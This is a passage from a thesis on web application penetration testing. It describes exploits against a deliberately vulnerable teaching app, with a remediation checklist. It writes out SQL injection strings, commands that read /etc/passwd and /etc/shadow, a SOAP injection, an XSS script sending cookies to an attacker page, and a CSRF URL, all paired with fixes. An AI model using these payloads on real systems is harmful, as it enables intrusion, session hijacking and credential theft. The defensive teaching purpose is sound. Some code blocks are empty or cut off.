</tbody>
</table>

Table 4.1 Support for batched queries in different DBMSs

Preventing the execution of multiple statements does not guarantee that the application is free from SQL injection. When measures are not taken to properly escape special characters in the query, it is still possible to retrieve sensitive information from the database. To prevent against further SQL injection input, PHP is recommending the method mysql_real_escape_string() that will prepend backslashes to some characters such as ‘, \ and “ to any user input. (php.net 2010d) Another method that can be used to escape special characters in an SQL statement in PHP is addslashes(). This method does not give the same protection as mysql_real_escape_string(), which is why it should not be used whenever there is a DBMS specific escape function. (php.net 2010a)

The example illustrated in the Pen Code Tester contains a simple bookshelf application where the user is able to enter his name and search for the books currently related to the user account. When clicking on the button, the user’s bookshelf items will be displayed in a list to the visitor. There are two different versions of the application: unescaped bookshelf and escaped bookshelf. The first bookshelf has no protection against SQL injection while the second one escapes the user data with the help from mysql_real_escape_string(). As a result, the first feedback field is vulnerable to the classic SQL injection strings:
All rows of the database will be displayed with the above injection strings. Although multiple statements cannot be used since the application is developed in PHP with the MySQL database, it is still possible to use the UNION operator. This means that we can get output from more than one table:

```
John' UNION SELECT * FROM table_users WHERE 'a'='a''--'
```

This command will present the result from the two tables in one unified table that can be displayed on the page as long as the columns of the two tables match.

When using `mysql_real_escape_string()` for the same query as in the first simple example, the injection attack is prevented by escaping all illegal characters with backslash:

```
John\' OR \'a\'=\'a\'--\'
```

Moreover, the second feedback field will take care of HTML-encoded characters such as `&#39;` and other similar representations of the apostrophe sign. As `mysql_real_escape_string()` is able to adapt to the used character set, it can handle escaping correctly.

In 2006, a bug was found in the method that allowed a database to be exploited that had changed its character set. As `mysql_real_escape_string()` was not informed of the new charset, it could be vulnerable to an attack just like the ` addslashes()` method. (Alshanetsky 2006) The bug was found in MySQL version 5.0.22 and later fixed the same year (MySQL 2006).

To automate the attack where a lot of commonly vulnerable SQL strings can be entered into the fields, a tool such as WFuzz can be used.

### 4.1.2. OS/Command Injection

As explained in the theory chapter, an operating system (OS) injection attack can be executed when an application allows the user to perform system level commands (OWASP: Command Injection 2010). The given example in the Pen Code Tester describes an admin page where the site administrator is able to enter various commands in a text field and display the output of typically a web server that hosts the application. Although convenient, this feature could be avoided to increase the security of the application. Anyone who can access the admin page unauthorized will also be able to perform various system commands. With the two following commands, the attacker is able to view the password-files:

```
cat /etc/passwd     cat /etc/shadow
```

The exploit scenario does not belong to any common functionality of a typical web application. It is merely made to demonstrate how an unauthorized user who managed to access the admin account of an application can take the attack further to another level to take over the entire site. It also shows how one should strive to avoid any user input for methods such as `system()`, `passthru()`, `exec()` or `shell_exec()` in PHP or any similar method in any programming/scripting language. It is often advised to completely refrain from the use of these methods since there are other ways to get similar functionality without jeopardizing the safety of the application. (Stuttard 2008, p.307)
4.1.3. SOAP Injection

This scenario is aiming to show how a web service can be the target of an attack that can change the result in the execution of the method provided by the web service. The Pen Code Tester contains a simple addition function that will take two numbers given by the user and present the result of the operation. In a normal scenario, the user would type in two numbers such as 1 and 2 and receive the result 3. However, if the user injects the following input that can be seen in Figure 4.1, the application will display an informative error message about the underlying xml structure (Figure 4.2).

![Figure 4.1 Error-prone SOAP input](image)

When entering 1</arg1><arg0>2</arg0><arg1> in the second window and any number in the first field the result will always return 2 as this number is set in-between the <arg0> value. Imagine the scenario in a more security-critical situation where changing one number could mean changing a price or a transfer sum that is used by the application. The exploit can be simplified with an intercepting proxy such as WebScarab that can display the SOAP messages that are being sent between the client and server.

The attack can be avoided by using the method SoapClient(), which will handle the communication with the soap message and sanitize any incorrect user input:

```php
array('trace' => 1));
```

4.1.4. Code Injection

Several examples are given in the page that deals with code injection of the Pen Code Tester. The first scenario depicts a guestbook that stores the users comments in a database and reflect the information back in the post displayed for each user. Since the text fields do not sanitize the user input, a malicious user can enter a simple script that will leverage the entire page:

```html
<script>alert(document.cookie);</script>
```
The site owner now has to go into the database used for the site and remove the latest post that contained the malicious script so that the page can function as normal again. The exploit can be avoided by proper server-side input validation. The described exploit is a code injection scenario but can also be seen as a stored cross-site scripting attack.

The second example of code injection illustrates a page that uses the PHP method `include()`, which will bring in the contents of another file into the current page. This behavior can be used to access another page that the visitor was not actually intended to view. The following link will display the economy department’s homepage. If the visitor instead wanted to view the human resources (HR) department’s website, this could be done by simple changing the value economy to hr.

```
http://localhost/code_injection.php?department=economy
```

Additionally, an attacker could make the application evaluate a malicious file in order to achieve command execution on the target server. If there is no possibility to include remote files, an application that lets the user upload files to the server could still be vulnerable to command execution. (Stuttard 2008, pp.604-605)

### 4.2. Cross-Site Scripting (XSS)

The Pen Code Tester contains two separate pages illustrating two various kinds of cross-site scripting vulnerabilities: the reflected and stored version.

#### 4.2.1. Reflected XSS

The example used to show the reflected XSS vulnerability scenario is a simple search function that takes a keyword entered by the user and searches the database after the given string that is also reflected back to the user on the page. The search function is vulnerable to the reflected cross-site scripting flaw, which simply can be demonstrated by inserting some JavaScript code such as:

```
<script>alert(document.cookie);</script>
```

In a real case scenario, the user would be fed the URL by the attacker in some way and be lured to click a link containing the script. In the above case, the script merely tells the browser to display the cookie of the user in a JavaScript alert window. The vulnerability of the Pen Code Tester can have a more serious impact if the attacker decides to send the cookie to his own homepage where it can be viewed and used by the attacker. The session ID of the cookie can be used and replayed in the application, allowing the attacker to log into the site, impersonating the target user. The script below will send a cookie to attack.php, which is the homepage of the attacker.

```
<script>document.location='http://localhost/attack.php?'+
document.cookie+'</script>
```

#### 4.2.2. Stored XSS

The example given in the Pen Code Tester of the stored XSS weakness is displayed in a basketball forum where members of several teams can come together and discuss schedule for training and booking of facilities. The page is similar to the guestbook example of code injection where an attacker can perform a stored XSS exploit with the same script-tag as for reflected XSS. As the database stores all the forum posts, it will also store unsanitized, malicious data such as the given script-tag, which will cause a problem for the entire page when injected.
The same cookie that was used for the reflected XSS attack to send the attacker the session ID can also be used in the situation with stored XSS. In this case, the attacker does not need to send the victim any URL that has to be clicked; the exploit can simply be performed when the user visits the infected page.

4.3. Broken Authentication/Session Management

The Broken Authentication page of the Pen Code Tester presents an ordinary login function that takes a registered user’s email address as the username and requests a password before the user can enter the application. The login functionality has some secure features. Any given password is hashed with the help of the SHA so that it cannot be viewed in plaintext by e.g. an intermediate proxy. The login function has additionally taken measures against SQL injection by escaping special characters that otherwise could cause problems. If the wrong credentials are given, the login-failure message will not reveal whether the username or password was incorrect but will merely state that the login attempt was unsuccessful.

However, an attacker can find out which usernames are taken by visiting the Signup page and try to register a new user. If the username cannot be registered, the specific name is probably taken. The attacker can now perform a password-guessing attack on that specific username. If the login or registration pages do not reveal which usernames are valid, there are always other methods to discover usernames. If a page uses some sort of account lockout functionality, an attacker can test a certain username to see how the page reacts to a user being locked out and compare its behavior to when a non-existing username is entered. If there is still no difference in the behavior of the application, the attacker can perform a timing attack. The attacker simply calculates how long it takes for the application to generate an error message after a bad password has been given and compares the result to the time it takes for a bad username. If the username exist and a bad password is given for the account, the time frame to generate the error can be very different to the situation where the account did not exist. (Scambray 2006, p.124)

There are a few more security aspects that have not been considered in the authentication page of the Pen Code Tester. For example, it is fully possible to try as many passwords as possible for the same account since there is no mechanism that counts the failed login attempts, which enables an opponent to perform a brute-force attack. Some tools for brute-forcing that can be used on the page are Brutus, THC-Hydra, TSGrinder, WFuzz or Burp Intruder (Burp Suite version 1.3.03) that can be seen in Figure 4.3.
The login mechanism of the Pen Code Tester uses three cookies in total during the login. One for the username, one for the password and another one for the PHPSESSID value. A PHP session ID is assigned to the user’s session that is later deleted when the user signs out of the authenticated area. The cookie containing the session ID is by default stored in the browser (Firefox) until the user removes cookies from his/her browser, which can be exploited in a local attack where the malicious user has access to the same computer as the victim.

4.4. Insecure Direct Object References
In the given example on Pen Code Tester, the page illustrates an online banking form that will login the user who has an account with the given bank. The account number is used directly in the web interface and also as a primary key in the database since each account has its own assigned account number. When the user enters another account number, he is able to view another person’s account and thereby access sensitive information. As the user is logged-in to another account, it is also possible to make transfers as the application thinks that the account owner is making them.

A second example is given at the same page where the Pen Code Tester lets the user view several press release messages. Since the press releases are all located within the same folder along with other more sensitive documentation, an attacker can enter the direct URL to the other documents to view information that he/she is not intended to access. The attacker can easily spot the URL to the pdf-file by viewing the source code of the page.

4.5. Cross-Site Request Forgery (CSRF)
A cross-site request forgery vulnerability is depicted in the corresponding section of the Pen Code Tester. The page illustrates an online second hand site where the users can sell various items and upload a post about them that can be viewed by potential buyers. When a visitor is interested in a certain item, he will make a price offer that is sent to another page that can be viewed and possibly accepted by the seller. As the site allows
users to post html-pages containing images of the item to sell, this feature can be exploited by CSRF. In fact, the Pen Code Tester gives two different possible scenarios for a CSRF attack. In the first case, the attacker uploads a post on the page about some item to sell with a link to the attacker’s site:

http://localhost/bid_item.php?typeItem=double+bed&typePrice=500000&button=Buy!

Whenever the victim visits the page, the Pen Code Tester makes the request given in the URL, which tells the site that the victim wants to buy the bed for 500 000. In this way, the attacker is fooling the application into thinking that the request was made by the legitimate user. The victim has now unknowingly made a bid of 500 000 on an item that he perhaps was not even interested in. This exploit will also work when the application tries to legitimate the person who places the bid by using his session ID. Since the victim is logged-in to the site and the request is made by the victim’s browser, the user’s session token will be accepted.

In the second scenario, the CSRF attack is possible if the victim visits the attacker’s page at the same time as he uses the Pen Code Tester. Since the page of the attacker contains an image-tag with the above URL of the example, the same situation can occur where the user ends up unknowingly bidding a large amount for an item he did not select. The attacker must in this case make the victim visit his malicious page. This can be done if the attacker has a banner ad on the Pen Code Tester that is clicked by the victim, or if the URL is sent in a forged email. To avoid detection, the attacker can mask e.g. the price of the URL that will make it look less suspicious.

The attack can be simplified when using tools such as an intercepting proxy that enables the viewing of HTTP responses and requests. In Figure 4.4 the tool Firebug 1.5.4 is used to view the HTTP GET communication.

![Firebug 1.5.4 to Exploit CSRF](image-url)
5. Conclusion and Future Work

This chapter begins by giving a conclusion of the subject matter of the thesis. It will then in turn explain the future work that can be done within the area of penetration testing of applications made for the web.

5.1. Conclusion

The main goal of this degree project was as previously stated in the problem description to explore penetration testing in a web application environment. In order to grasp the field of security testing one has to understand the threat given by the attacker community. One of the first steps was to find out who the person behind the attacks was. Did the stereotypical image given by media of the hacker correspond to the reality? Section 2.3 shows a wide span of attacking types ranging from the restless teenager with little knowledge to the malicious black hat who knows all about the internal workings of every attack. Furthermore, the results also point towards very different reasons for committing the exploit. In the case of the script kiddie, the main argument for attacking a target is peer respect and status in a certain community while a black hat would perform the same illegal action for pure financial gain. A large gray zone exist between these two extreme characters where some hackers can be found who merely brake into a site to later inform the owner of the insecurity. Other categories of attackers are illustrated in section 2.3.6 and 2.3.7 where cyberterrorists and people dedicated to electronic warfare are illustrated respectively who can jeopardize the safety of an entire country. The description of the opponent has hereby been given.

When trying to answer the first question of the problem description on how common attacks operate, frequently appearing exploit scenarios were investigated and later depicted in section 2.11. For example, the vulnerability cross-site scripting was thoroughly explained in the sub section 2.11.9. When a clear image had been given of the various scenarios, the knowledge needed to perform each attack could be discussed. As it turned out, a lot of attacks could be performed simply with a little experience in hacking and an ordinary web browser. This was strongly related to the vulnerability at hand where other exploits required the use of an intercepting proxy, a browser add-on or some other tool to defeat the security layer of the target application. This point comes across in chapter 4 where the results of the example exploits are given. For example, the broken authentication/session management flaw in section 4.3 can be exposed to a brute-forcing attack with a tool such as WFuzz.

Another problem formulated in the beginning of this work questioned the side effects of the various exploits. Every injection, and scripting attack could give examples of scenarios where all the attacker would achieve was of low security impact. Despite of this, exploit scenarios from the same flaw could also show very high impact consequences on the application. In a worst-case scenario, a company could loose credibility, sensitive information and therefore its customers. It became apparent that businesses needed risk assessment strategies to protect what needed to be secured from unauthorized access. Whenever a risk assessment is being made to set the correct security level, the total value of assets is the key factor to the equation, which is outlined in section 2.10. It also became clear how significant it might be for a business to have their online application audited internally or externally by a security expert.

Following the problem description of this thesis, the area of penetration testing was the next topic to be examined. As a lot of sources such as standardization organizations and security testing companies gave quite different definitions of the term, it was not straightforward to set. This is however a reflection of the reality in security testing. The
formulated problem therefore needs to accept a number of slightly diverse definitions. These are all given in section 2.4.

A more importantly defined question for this work is how one can optimize a penetration test to increase efficiency on giving quality feedback to the customer. Yet again, it is vital to think about risk assessment as every business has various needs when speaking of security. Crucial key elements are the value of asset for the company, the severity of the vulnerability and the likelihood of an attack (section 2.10). For example, the penetration test of a highly security-dependent online bank would strongly vary from the security audit of other less security-critical applications. To summarize, every company needs to weigh the security benefits of the given test against the costs involved.

In close connection to efficient penetration testing stand the methodologies that have appeared which are no longer considered to be company specific property but are accessible to everyone. A wide range of methodologies for various industries has appeared such as PCI, ISACA, OSSTMM and CHECK that can be read about in section 2.5, methodologies and standards. Again, a decision needs to be made about the expected outcome of the audit that in some way will help the organization requesting the test. The appropriate methodology should be selected in accordance to the business sector, needs and desired effect in order to receive the best testing result.

When the practical part of this thesis started, it was central to capture the main characteristics of each exploit. The OWASP Top Ten Projects listing was used as a model where the top five web security flaws of the list were going to be portrayed. This has been the aim for the Pen Code Tester, the deliberately vulnerable web application developed during this project. Moreover, it was important to present the client and the server side of an exploit; in which ways could both be the target of an attack? This point is shown in the practical examples of the various exploits as well as described in text for the vulnerabilities outlined in section 2.11. For example, the cross-site scripting attack, which is targeted against the user, is described in part 4.2 of the result chapter. An example of a server side attack is the SQL injection shown in sub section 4.1.1.

The last and one of the more essential questions of this work deals with the future perspective of the attacks that are frequently found in web applications today. What sort of security solutions are there to prevent the exploits from constantly occurring? Many of the more usual exploits that are found in currently active web applications have been around for quite some time. Some of the more famous ones have even existed since the beginning of the 1990s and despite of this are still found on a daily basis. It is the personal opinion of the writer of this thesis that this situation will not change. Exploits will still be a part of our daily lives when visiting web applications where new attacks are invented while older ones remain. As long as people find a reason for exploiting vulnerabilities of websites, whether it might be due to financial gain, peer respect or pure personal satisfaction, the threat still remains.

Conclusively, the only way of keeping up with the black hat community is to continue with the research in the area of web application security testing. It is further imperative to keep improving already known methods and standards. This has been one of the main goals of the project since the web application methodology of Combitech, (the company where the thesis was made), needed to be updated and separated from the standard testing manual. The effort of this thesis is summarized in a checklist located in section 7.2, which can be used for updating the current Combitech methodology.

One vital solution is to spread security awareness of the prevention methods and safe practices that exist. A penetration test can improve the situation as a company can become aware of their security weaknesses and optionally do something about the flaw. By continuously iterating a security process that has been specifically defined for the
business at hand, the best security procedure can be given to each situation in every organization. Instead of relying entirely on the programmer not to make a mistake in coding or building the logic of the application, which often is infeasible, the security process is applied throughout the entire business.

5.2. Future work

As mentioned in the conclusion, the research needs to continue in the field of securing web applications. The work conducted during this thesis could go on further by e.g. expanding the vulnerabilities of the Pen Code Tester. Only the first five web security flaws were examined of the OWASP Top Ten Project and therefore the other ten could consequently be explored. Another idea is to expand the already made attack scenarios to be able to go in depth and investigate more advanced exploiting techniques. In addition, a future study could change the focus of the project to concentrate on the various hacking tools used for web application testing. A database could be created where the tools would be described, which could be of great value to a company performing penetration tests.
6. References


Burrows, D., 2002. SANS Institute, Penetration 101 - Introduction to becoming a Penetration Tester.


Damele, B., 2009. Advanced SQL injection to operating system full control, Black Hat Briefings Europe.


ISACA, 2010. About ISACA. Available at: http://www.isaca.org/about-


APPENDIX A: Combitech Checklist

The list below is specifically developed for Combitech that can be used to update and help create a new web application testing methodology for internal use.

1a. Injection: SQL injection

**Vulnerable code:**

```
John' OR 1=1--
John' OR 'a'='a'--
John' UNION SELECT * FROM table_users WHERE 'a'='a'--'
```

**Vulnerability:**
Code injection of the type SQL into a text field that uses SELECT database statement.

**Secure fix:**
- Use escape method of the DBMS connector, e.g. mysql_real_escape_string() for LAMP.
- Take extra care when MySQL UDF is used.
- Check if multiple statements are allowed, when this is the case, take extra care.
- Simple methods to escape data such as addslashes() in PHP that is not using the character set of the database should be avoided since it is not safe enough against SQL injection.

1b. Injection: OS/Command injection

**Vulnerable code:**

OS commands such as `cat /etc/passwd` that can access sensitive information.

**Vulnerability:**
System commands that are able to execute user input through some language dependent method such as exec() in PHP.

**Secure fix:**
- Avoid calls to the operating system whenever possible, e.g. PHP methods such as system(), passthru() and exec().
- If these commands are needed, validate the input before executing it, even if the page has admin access control.

1c. Injection: SOAP injection

**Vulnerable code:**

This depends entirely on the XML structure used for the method of the web service but could for instance be `1</arg1><arg0>2</arg0><arg1>` as in the Pen Code Tester.

**Vulnerability:**
The user is able to change the XML structure in the user input field and hereby accomplish some type of malicious insertion.

**Secure fix:**
The use of methods such as SOAPClient() will handle the user input correctly.

**1d. Injection: Code injection**

**Vulnerable code:**
Any script such as the following:

```html
<script>document.location='http://localhost/attack.php?'+
document.cookie;</script>
```

**Vulnerability:**
A malicious client side script is injected into a field of the application that is displayed to other users and is able to perform some illicit action.

**Secure fix:**
Sanitize user-supplied data properly such as HTML specific characters. This can be done by methods like htmlentities() in PHP, which will turn all HTML input into HTML entities. The PHP method htmlspecialchars() will do a similar task but not for all HTML characters. (See 2a).

**2a. Cross-site scripting: reflected**

**Vulnerable code:**

```html
<script>document.location='http://localhost/attack.php?'+
document.cookie;</script>
```

**Vulnerability:**
Injection of malicious script that can be viewed by other users. The user needs to click on a link presented by the attacker.

**Secure fix:**
- Use htmlspecialchars() or htmlentities() (to transform all HTML characters) method in PHP and similar methods for other environments to sanitize user input.
- Make sure that client code is properly escaped in every way for HTML, JavaScript, CSS and URL. Perform the validation recursively.
- Use server-side to validate the data, a JavaScript function can be disabled.
- If necessary, also perform validation of the output when the data is on the server-side and is about to be presented in the application to the user.
- Turn off support for HTTP TRACE on the web servers, which can give away the user’s cookie information although the document.cookie has been disabled.

**2b. Cross-site scripting: stored**

**Vulnerable code:**
Same as for 2a.

**Vulnerability:**
Injection of malicious script-code that can be viewed by other users. The user does not need to click on any link but just visit the wrong site that has an XSS vulnerability.

**Secure fix:**
3. **Broken authentication/Session management**

**Vulnerable code:**
No vulnerable code. The problem lies in incorrect logic of a login page or the management of a user session.

**Vulnerability:**
As stated above, the vulnerability is found in incorrect logic of a login page or the management of a user session. This could for example be guessable session tokens or a site that allows brute forcing of usernames and passwords.

**Secure fix:**
- It is important to carefully design the logic of the applications login form and how the session tokens are handled. Whenever there is a way of using language specific session IDs such as with PHPSESSID, this is the preferred option instead of using a custom-made version that has not been properly tested.
- Think of password strength, failed login attempts, password storage, safe transfer of credentials, protection of session tokens (by SSL).
- Make sure that the login logic cannot be bypassed by the forgotten password or the changed password function.
- Be aware of browser caching for user credentials.
- Frameworks can further be used to increase the security of the authentication.

4. **Insecure direct object references**

**Vulnerable code:**
Any code that by mistake has been left by the programmer or is pointing to an internal object such as a file or a URL that can be used to gain unauthorized access to a protected resource.

**Vulnerability:**
Same as above, which is the vulnerability.

**Secure fix:**
- This is an error made by the developer due to incorrect logic or simply a mistake. This can be prevented by penetration testing and/or code review.
- Make sure that the application checks if the user has a right to see the referenced objects or not with some sort of authorization method.
- Never expose object references that are supposed to be hidden to users such as file names or keys.

5. **Cross-site request forgery**

**Vulnerable code:**
```
```

**Vulnerability:**
A request from a malicious attacker is able to execute on a CSRF vulnerable site and make a request in the users name without his/her consent.

**Secure fix:**
- Be careful with the third-party banners that are placed on some sites. These could direct the user to a site with has malicious code that can execute on the trusted site while the user is logged in.
- Sanitize all input to the application so that it may not contain image-tags containing source that can make unauthorized requests in the users name.
- CSRF can be avoided if the site does not entirely rely on cookies when transferring session IDs. Security critical applications like online banks use hidden fields for transferring session tokens where the token is checked for each request submitted by the user.
- Some sites use the HTTP Referer to control if the request was actually made on the site or outside. Since the HTTP Referer can be spoofed or masked, this is not a reliable way to avoid CSRF.